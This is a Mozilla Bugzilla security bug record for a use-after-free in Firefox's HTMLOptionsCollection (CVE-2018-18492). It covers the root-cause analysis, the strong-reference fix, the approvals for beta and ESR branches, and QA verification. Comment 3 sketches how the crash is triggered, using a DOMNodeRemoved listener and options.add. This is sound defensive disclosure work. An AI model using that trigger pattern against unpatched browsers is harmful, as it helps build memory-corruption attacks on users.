Bugzilla

Olli Pettay [:smaug][bugs@pettay.fi]

Updated

•

6 years ago

Group: core-security → dom-core-security

Updated

•

6 years ago

Priority: -- → P1

Updated

•

6 years ago

Keywords: csectype-uaf, sec-high

Priority: P1 → --

Liz Henry (:lizzard) (relman/hg->git project)

Updated

•

6 years ago

Priority: -- → P1

Updated

•

6 years ago

status-firefox63: --- → ?

Keywords: testcase

Assignee

Comment 2

•

6 years ago

This feels like another case where we forgot to hold a strong reference to a DOM element that is live on the stack.

Assignee

Comment 3

•

6 years ago

I looked at this a little via code inspection. I don't think it is an obvious stack refcounting problem.

With some of the details removed, the test case looks like this:
    selectElement = document.createElementNS('http://www.w3.org/1999/xhtml','select');
    ...
    selectOptions = selectElement.options;
    ...
    // add event listener for DOMNodeRemoved that clears locals, including selectElement
    o995 = selectOptions.add(o651);

This is a standard UAF widget where we clear references and GC/CC while inside a mutation listener thing.

The object being used after it is free is |selectElement|. Notice that after we clear out the local variables, nothing on the stack directly refers to the select element. So that means when we're inside the mutation thing it can get destroyed.

The options collections has only a weak reference to its select element. From the HTMLOptionsCollection ctor:
  // Do not maintain a reference counted reference. When
  // the select goes away, it will let us know.
  mSelect = aSelect;

The problem, then, seems to be that HTMLOptionsCollection::Add() is implemented by forwarding to mSelect, which nothing is holding alive:
  mSelect->Add(aElement, aBefore, aError);

mSelect is destroyed while we're inside a method with |mSelect| as |this|. The select element dies and mSelect is set to null, but that doesn't help for the stack value.

Assignee

Comment 4

•

6 years ago

It looks like this could be a problem for a lot of the HTMLOptionsCollection methods that forward to mSelect.

Assignee

Updated

•

6 years ago

Assignee: nobody → continuation

Assignee

Comment 5

•

6 years ago

It looks like this has been a problem at least back to 2013, if not earlier. I don't know why it hasn't come up before.

status-firefox62: --- → affected

status-firefox63: ? → affected

status-firefox-esr60: --- → affected

Assignee

Comment 6

•

6 years ago

The easiest fix would be to make mSelect a strong reference (and add it to the cycle collector). I can't imagine a situation where you'd want the collection to outlive the element. The current code has the dodgy feel of the pre-cycle collector era.

Flags: needinfo?(bzbarsky)

Boris Zbarsky [:bzbarsky]

Assignee

Comment 7

•

6 years ago

Does that sound reasonable Boris? I can poke around in the spec in case you think there might be some reason a weak ref is needed.

Comment 8

•

6 years ago

I agree that this code looks like it just predates cycle collection.

Yes, mSelect should be a strong reference.

We should also consider adding more MOZ_CAN_RUN_SCRIPT bits on the HTMLSelectElement methods that can....

Flags: needinfo?(bzbarsky)

Boris Zbarsky [:bzbarsky]

Comment 9

•

6 years ago

And in general, specs have no concept of "weak reference".  They have the JS model of ownership in mind, basically: if you point to something, you keep it alive.

Alex Gaynor [:Alex_Gaynor]

Assignee

Comment 10

•

6 years ago

As a side note, in general calling methods on fields is dodgy (operations could mutate the field), but in this case we assume that |this| is strongly held, and mSelect is immutable (as long as |this| doesn't become garbage) so it is okay.

(In reply to Boris Zbarsky [:bzbarsky, bz on IRC] from comment #9)
> And in general, specs have no concept of "weak reference".  They have the JS
> model of ownership in mind, basically: if you point to something, you keep
> it alive.

Yeah, I couldn't imagine how or why you'd even spec something like that out, but I wanted to make sure that was reasonable. Thanks.

Comment 11

•

6 years ago

This is also a case that should have been caught/prevented by memref, correct?

Assignee

Comment 12

•

6 years ago

(In reply to Alex Gaynor [:Alex_Gaynor] from comment #11)
> This is also a case that should have been caught/prevented by memref, correct?

Yeah. I was thinking that myself but had been too lazy to actually look up what the bug was.

Assignee

Comment 13

•

6 years ago

Attached patch Crash test version of the test case. — Details — Splinter Review

I took crash.html, renamed the variables to make them nicer, and used SpecialPowers instead of FuzzingFunctions, and that's enough to make the test case crash in a debug build.

Assignee

Updated

•

6 years ago

Flags: in-testsuite?

Assignee

Comment 14

•

6 years ago

Attached patch Make HTMLOptionsCollection::mSelect into a strong reference. — Details — Splinter Review

Attachment #9018737 - Flags: review?(kyle)

Kyle Machulis [:qdot] [:kmachulis] (INACTIVE)

Assignee

Comment 15

•

6 years ago

I also looked through places in DOM-y code that had methods named DropReference. None of the other places seemed to call non-trivial methods on their weak pointers.

Updated

•

6 years ago

Attachment #9018737 - Flags: review?(kyle) → review+

Assignee

Comment 16

•

6 years ago

Comment on attachment 9018737 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference.

[Security Approval Request]

How easily could an exploit be constructed based on the patch?: Triggering a UAF should be fairly easy.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No

Which older supported branches are affected by this flaw?: all

If not all supported branches, which bug introduced the flaw?: None

Do you have backports for the affected branches?: No

If not, how different, hard to create, and risky will they be?: The patch is very simple, so it should be easy to fix them for other versions as needed.

How likely is this patch to cause regressions; how much testing does it need?: Unlikely.

Attachment #9018737 - Flags: sec-approval?

Alex Gaynor [:Alex_Gaynor]

Assignee

Comment 17

•

6 years ago

I'm curious how this bug survived a decade of fuzzing (AFAICT this has just been an issue forever). The test case looks fairly standard. I'm not sure how the optgroup stuff is needed, so maybe that made it trickier to suss out.

Comment 18

•

6 years ago

I suspect domato never triggered this because it doesn't GC in a way that'll hit us (based on my 30 seconds looking :-)): https://github.com/googleprojectzero/domato/blob/master/template.html#L11-L14

Perhaps we should either implement the APIs that it wants (which I assume are what some other browser uses?) or add support for our GC API to it.

Answer will be different for our other fuzzers of course.

Assignee

Comment 19

•

6 years ago

This particular pattern is very similar to other bugs we're gotten in the past from Nils and others (for instance, bug 1464784), including the GCs.

Comment 20

•

6 years ago

Sec-approval for checkin on November 6, two weeks into the new cycle.

Whiteboard: [checkin on 11/6]

Updated

•

6 years ago

Attachment #9018737 - Flags: sec-approval? → sec-approval+

Comment 21

•

6 years ago

https://hg.mozilla.org/integration/mozilla-inbound/rev/d4f3e119ae841008c1be59e72ee0a058e3803cf3

Please request Beta approval on this patch when you get a chance. It grafts cleanly as-landed. It'll also need a rebased patch for ESR60.

status-firefox62: affected → wontfix

status-firefox63: affected → wontfix

status-firefox65: --- → affected

tracking-firefox64: --- → +

tracking-firefox65: --- → +

tracking-firefox-esr60: --- → 64+

Flags: needinfo?(continuation)

Whiteboard: [checkin on 11/6]

Assignee

Comment 22

•

6 years ago

Comment on attachment 9018737 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference.

[Beta/Release Uplift Approval Request]

Feature/Bug causing the regression: None

User impact if declined: sec-high

Is this code covered by automated tests?: Yes

Has the fix been verified in Nightly?: Yes

Needs manual test from QE?: Yes

If yes, steps to reproduce: The patch "Crash test version of the test case." that can be applied to run as a crash test.

List of other uplifts needed: None

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): This just makes a pointer strong. The only risk would be a leak, but that seems very unlikely.

String changes made/needed:

Flags: needinfo?(continuation)

Attachment #9018737 - Flags: approval-mozilla-beta?

Assignee

Comment 23

•

6 years ago

Still need to rebase for esr60 and request esr approval.

Flags: needinfo?(continuation)

Assignee

Comment 24

•

6 years ago

Attached patch Make HTMLOptionsCollection::mSelect into a strong reference. Rebased for ESR-60. — Details — Splinter Review

Assignee

Comment 25

•

6 years ago

Comment on attachment 9023357 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference. Rebased for ESR-60.

[ESR Uplift Approval Request]

If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high

User impact if declined: See comment 22.

Fix Landed on Version: 

Risk to taking this patch: Low

Why is the change risky/not risky? (and alternatives if risky): 

String or UUID changes made by this patch:

Flags: needinfo?(continuation)

Attachment #9023357 - Flags: approval-mozilla-esr60?

Comment 26

•

6 years ago

Comment on attachment 9018737 [details] [diff] [review]
Make HTMLOptionsCollection::mSelect into a strong reference.

[Triage Comment]
Fixes a longstanding sec issue. Approved for 64.0b8 and 60.4.0esr.

Attachment #9018737 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Updated

•

6 years ago

Attachment #9023357 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+

Comment 27

•

6 years ago

uplift

https://hg.mozilla.org/releases/mozilla-beta/rev/50bb4e6c8ab5

status-firefox64: affected → fixed

Flags: qe-verify+

Comment 28

•

6 years ago

https://hg.mozilla.org/mozilla-central/rev/d4f3e119ae84

Group: dom-core-security → core-security-release

Status: NEW → RESOLVED

Closed: 6 years ago

status-firefox65: affected → fixed

Resolution: --- → FIXED

Target Milestone: --- → mozilla65

Comment 29

•

6 years ago

uplift

https://hg.mozilla.org/releases/mozilla-esr60/rev/98737ab09270

status-firefox-esr60: affected → fixed

Comment 30

•

6 years ago

I've trouble verifying this issue. I`m getting the following error: "ReferenceError: FuzzingFunctions is not defined" when trying the minimized test case from comment 1.

Could you provide explicit steps on how to verify it?

Assignee

Comment 31

•

6 years ago

(In reply to Stefan [:StefanG_QA] from comment #30)
> Could you provide explicit steps on how to verify it?

You need to use an ASan build with fuzzing enabled, or use the "Crash test version of the test case" and run it as a crash test.

Comment 32

•

6 years ago

I've used the latest Nightly ASan build (firefox-65.0a1.en-US.linux-x86_64-asan-reporter.tar.bz2). However, when started from the terminal with -enable-fuzzing and the pref fuzzing.enabled=true, I`m getting the mentioned error. 

Also, when using the "Crash test version of the test case" file is loaded as a text.

Assignee

Comment 33

•

6 years ago

Tyson, do you know if we have fuzzing enabled builds available for Firefox 65?

Flags: needinfo?(twsmith)

Tyson Smith [:tsmith]

Comment 34

•

6 years ago

(In reply to Andrew McCreight [:mccr8] from comment #33)
> Tyson, do you know if we have fuzzing enabled builds available for Firefox
> 65?

Yes we do they can be found on tc[1].

Stafan, Please do not use the asan-reporter build this is not the correct build. The ASan reporter builds are for the ASan nightly project[2]


[1] https://tools.taskcluster.net/index/gecko.v2.mozilla-central.latest.firefox/linux64-fuzzing-asan-opt
[2] https://developer.mozilla.org/en-US/docs/Mozilla/Testing/ASan_Nightly_Project

Flags: needinfo?(twsmith)

Comment 35

•

6 years ago

Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0 (20181115221012)
Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0 (20181116165039)

The issue is verified using the test case for comment 1 and the provided linux64-fuzzing-asan-opt build for Nightly 65 and respectively the latest Beta build. No crash observed during testing.

Status: RESOLVED → VERIFIED

status-firefox64: fixed → verified

status-firefox65: fixed → verified

Comment 36

•

6 years ago

Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 (20181108144235)

The issue is verified using the test case from comment 1 and the linux64-fuzzing-asan-opt build for ESR 60. No crash observed during testing.

status-firefox-esr60: fixed → verified

Flags: qe-verify+

Updated

•

6 years ago

Whiteboard: [adv-main64+][adv-esr60.4+]

Updated

•

6 years ago

Alias: CVE-2018-18492

Updated

•

5 years ago

Flags: sec-bounty?

Updated

•

5 years ago

Flags: sec-bounty? → sec-bounty+